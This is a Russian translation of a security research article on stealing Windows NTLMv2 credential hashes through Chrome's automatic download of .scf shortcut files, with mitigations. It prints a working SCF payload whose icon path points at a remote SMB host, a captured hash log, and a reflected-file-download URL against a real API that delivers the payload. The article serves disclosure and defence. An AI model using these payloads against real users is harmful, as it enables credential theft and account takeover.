18.08.2017

Кража учетных записей в Windows при помощи Google Chrome

image

Атаки, связанные с утечкой учетных записей, при помощи протокола SMB, предназначенного для совместного использования файлов, в системах по управлением ОС Windows являются перманентной проблемой, которая эксплуатируется различными способами, но обычно ограничивается локальными сетями.

Автор: Bosko Stankovic (bosko@defensecode.com)
Атаки, связанные с утечкой учетных записей, при помощи протокола SMB, предназначенного для совместного использования файлов, в системах по управлением ОС Windows являются перманентной проблемой, которая эксплуатируется различными способами, но обычно ограничивается локальными сетями. Одно из старых исследований с описанием подобных атак через интернет было презентовано Джонатаном Броссаром (Jonathan Brossard) и Хормаздом Биллимориа (Hormazd Billimoria) на конференции Black Hat в 2015 году [1] [2]. Однако в прошедшем десятилетии публичные работы, связанные с атаками на SMB-аутентификацию в браузерах, имели отношение только к Internet Explorer и Edge. Этот документ призван восполнить данный пробел. Мы рассмотрим кражу учетных записей при помощи настроенного по умолчанию Google Chrome, самого популярного браузера на сегодняшний день, во всех версиях Windows, которые поддерживают этот приложение.
Суть проблемы
По умолчанию браузер Chrome автоматически загружает файлы, которые считает безопасными, без вывода диалогового окна для выбора директории. Файлы загружаются в уже существующую папку. Сей факт представляет некоторую угрозу с точки зрения безопасности, однако пользователю нужно предпринять дополнительные действия для запуска вредоносной программы. С другой стороны, если существуют типы файлов, не требующие дополнительных телодвижений со стороны пользователя, задача злоумышленника сильно облегчается.
Файлы с расширением .scf (Windows Explorer Shell Command File) - менее популярны, которые начали использоваться со времен Windows 98. Большинство пользователей ОС Windows сталкиваются с подобного рода файлами в 98/ME/NT/2000/XP в качестве ярлыков на рабочем столе. Сам файл содержит две секции: с определением команды (которую можно запускать только в проводнике и на рабочем столе) и местонахождением иконки. Ниже показан пример содержимого SCF-файла:
[Shell]
Command=2
IconFile=explorer.exe,3

[Taskbar]
Command=ToggleDesktop

Как и в случае с LNK-файлами (также используемыми в качестве ярлыков) иконка прорисовывается, когда соответствующий файл показывается в Проводнике. Установка в параметр местонахождения иконки удаленного SMB-сервера – известный тип атаки для злоупотребления функцией автоматической Window-аутентификации при доступе к службам наподобие удаленного совместного хранилища файлов. Рассмотрим, в чем отличия между файлами LNK и SCF. Обычно браузер добавляет к файлам расширение .download со времен вредоноса Stuxnet [3]. Однако в случае с SCF-файлами подобного не происходит.
SCF-файл, используемый для инициации аутентификации к удаленному SMB-серверу, содержит только две строчки, как показано в примере ниже:
[Shell]
IconFile=\\170.170.170.170\icon

После загрузки файла запрос инициируется в момент открытия директории в Проводнике для просмотра/удаления этого файла или работы с другими файлами, что в большинстве случае происходит неминуемо. Нет необходимости кликать или открывать загруженный файл – Проводник самостоятельно будет получать «иконку»
Удаленный SMB-сервер, настроенный злоумышленником, готов считывать учетные данных жертвы (имя пользователя и хеш пароля, используемого в протоколе NTLMv2) для последующего взлома или перенаправления соединения и подключения к внешней службе, которая поддерживает тот же самый тип аутентификации (например, Microsoft Exchange), без необходимости ввода пароля. Собранная информация может выглядеть следующим образом:
[*] SMB Captured - 2017-05-15 13:10:44 +0200
NTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182
USER:Bosko DOMAIN:Master OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:98daf39c3a253bbe4a289e7a746d4b24
NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e00000000020000000000000000000000

Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e00000000020000000000000000000000

В примере выше показаны имя пользователя, домен и хеш NTLMv2, используемый для шифрования пароля.
Важно упомянуть, что Проводник не отображает расширение SCF-файлов вне зависимости от настроек параметров файлов и папок. Таким образом, файл picture.jpg.scf будет отображаться в проводнике как picture.jpg, что добавляет еще больше незаметности для подобного рода атакам.
Последствия
Утечка пароля
Для пользователей доменов на базе Active Directory (корпоративные, правительственные и другие виды сете) утечка пароля может привести к различным последствиям, начиная от расширения привилегий во внутренних сетях и заканчивая доступом к внешним службам на базе протокола NTLM и взломам на базе повторного использования пароля.
Для пользователей Windows 8/10, использующих Microsoft Account (MSA) вместо локальной учетной записи, утечка пароля позволит злоумышленнику получить доступ ко всем службам, которые интегрированы с MSA SSO: OneDrive, Outlook.com, Office 365, Office Online, Skype, Xbox Live и другие. Проблема, связанная с повторным использованием пароля, может привести к взлому учетных записей, не имеющих отношения к MSA.
Технологии взлома паролей сильно шагнули вперед с момента использования графических процессоров (GPU). Испытания утилиты hashcat при подборе хешей NetNTLMv2 в связке видеокартой Nvidia GTX 1080 показывают, что скорость перебора примерно равна около 1.6 миллиардов хешей в секунду. В случае с паролем длиной 8 символов 4 таких карты смогут осуществить перебор полного массива вариантов, состоящих из буквенно-цифровых символов в верхнем и нижнем регистре плюс наиболее распространенные специальные символы (!@#$%&), меньше, чем за день. В случае с сотнями миллионов паролей, украденных за последние годы (например, из LinkedIn, Myspace), использование словарей может дать неожиданные результаты при взломе сложных паролей с большей энтропией.
В случае с системами и сетями на базе Windows XP, где используется обратная совместимость с протоколом NTLMv1, может быть осуществлена атака, связанная с аутентификацией клиента по менее защищенному протоколу (NTLMv1 или даже LM) вместо NTLMv2. После перехвата хеша злоумышленник осуществит перебор намного быстрее, чем в случае с NTLMv2. В случае с протоколом LM весь процесс занимает несколько секунд при использовании радужных таблиц.
Атака с помощью SMB relay
В организациях, где разрешен удаленный доступ к службам Microsoft Exchange (Outlook Anywhere) и используется метод аутентификации NTLM, может присутствовать уязвимость к атакам при помощи SMB relay, когда злоумышленник выступает от имени жертвы и получает доступ к системам и информации без взлома пароля. Этот метод был успешно продемонстрирован Джонатаном Броссаром (Jonathan Brossard) [4] на конференции Black Hat.
При определенных условиях (при внешнем вторжении) злоумышленник может воспользоваться учетной записью контроллера домена и получить доступ внутренний доступ ко всей сети.
Обработка антивирусами SCF-файлов
Если браузер не предупреждает и не обрабатывает потенциально опасные типы файлов тогда, возможно, сторонний комплекс по безопасности выполняет эту работу. Мы протестировали несколько антивирусов на предмет того, происходит ли пометка при загрузке потенциально опасных типов файлов.
Все протестированные решения не помечали подозрительные файлы. Однако мы надеемся, что вскоре ситуация изменится, поскольку в SCF-файлах достаточно проанализировать параметр IconFile на предмет удаленного адреса иконки.
Новые вектора атаки
Хотя использование социальной инженерии для заманивания жертвы на сайт злоумышленника, а также редиректы и уязвимости, связанные с межсайтовым скриптингом на сайтах, заслуживающих доверия, - наиболее распространенные методы для доставки вредоносных файлов, я бы хотел упомянуть о менее известных брешах, которые можно применять со схожими целями.
Отраженная загрузка файла
Впервые уязвимость, связанная с отраженной загрузкой файла (Reflected File Download; RFD), была описана Ореном Хафифом (Oren Hafif) [5] [6]. Брешь возникает, когда специально сформированные входные данные от пользователя отражаются на достоверном сайте, после чего при выполнении определенных условий происходит загрузка вредоносного файла. Первоначально эта уязвимость использовалась для запуска вредоносного кода (обычно из файла с расширением .bat) с домена, которому доверяет пользователь.
Поскольку формат SCF намного проще, и во время атаки требуется только две строчки кода, которые могут располагаться (почти) в любом месте, мы имеем практически идеальные условия для реализации схемы, связанной с отраженной загрузкой файла.
Атака RFD обычно направлена на узлы, использующих RESTful API (Representational State Transfer; Передача распределенного состояния), поскольку в этом случае, как правило, нет строгих правил сопоставления URL-адресов, что позволяет установить расширение файла в адресе. Браузер Chrome не будет напрямую загружать большую часть типов содержимого при ответах, и нужно прописывать атрибут download в теге <a href=… Однако здесь существуют исключения. Chrome использует технологию MIME-sniffing для определения типа файла со значением параметра Content Type равным text/plain. Если ответ содержит непечатаемый символ, то ответ будет автоматически загружаться как файл до тех пор, пока не появится директива "nosniff".
Рассмотрим следующий URL на примере World Bank API:
http://api.worldbank.org/v2/country/indicator/iwantyourhash.scf?prefix= %0A[Shell]%0AIconFile=\\170.170.170.170\test%0Alol=%0B&format=jsonp
Из-за присутствия непечатаемого символа %0B браузер Chrome будет загружать ответ как файл iwantyourhash.scf. В момент открытия директории, содержащей загруженный файл, Windows попытается авторизоваться на удаленном SMB-сервере и тем самым раскрыть хеши, используемые жертвой.
Рекомендации
Чтобы отключить автоматическую загрузку в Google Chrome необходимо установить флажок в следующей опции: Settings -> Show advanced settings -> Ask where to save each file before downloading. Ручное подтверждение каждой загрузки значительно сократит риск кражи хешей NTLMv2 при помощи SCF-файлов.
Поскольку SCF-файлы все еще представляют определенную угрозу, меры защиты зависят от конкретной ситуации, начиная от ужесточения правил на уровне хостов и конфигурации фаервола и заканчивая дополнительными мерами безопасности, например, подписью SMB-пакетов и Расширенной защитой [7]. Первые два метода предотвращают утечку SMB-трафика за пределы корпоративной сети посредством блокирования портов, которые могут использоваться для инициации соединения с потенциально вредоносным SMB-сервером из интернета. По возможности, SMB-трафик всегда следует ограничивать во внутренних сетях.
Заключение
На данный момент злоумышленнику нужно обманом завлечь жертву (с полностью обновленным браузером Google Chrome и ОС Windows) на вредоносных веб-сайт для кражи и повторного использования учетной записи. Даже если жертва не является привилегированным пользователем, эта брешь может представлять серьезную угрозу для больших организаций, поскольку злоумышленник, выступая от имени жертвы, может добыть нужные привилегии для получения привилегированных учетных записей и получить доступ к остальной IT-инфраструктуре.
Мы надеемся, что в ближайшем будущем эта уязвимость в Google Chrome будет устранена.
Ссылки
[1][2] SMBv2: Sharing More Than Just Your Files
https://www.youtube.com/watch?v=a1dgOO9bALA
https://www.blackhat.com/docs/us-15/materials/us-15-Brossard-SMBv2-Sharing-More-Than-Just-Your-Files.pdf

[3] MS10-046 Shell LNK Code Execution - https://technet.microsoft.com/library/security/ms10-046

[4] Ménage à Trois Attack - https://youtu.be/a1dgOO9bALA?t=1438

[5][6] Reflected File Download - A New Web Attack Vector
https://www.youtube.com/watch?v=dl1BJUNk8V4
https://drive.google.com/file/d/0B0KLoHg_gR_XQnV4RVhlNl96MHM/view

[7] Extended Protection for Authentication - https://support.microsoft.com/en-us/help/968389/extended-protection-for-authentication

comments powered by Disqus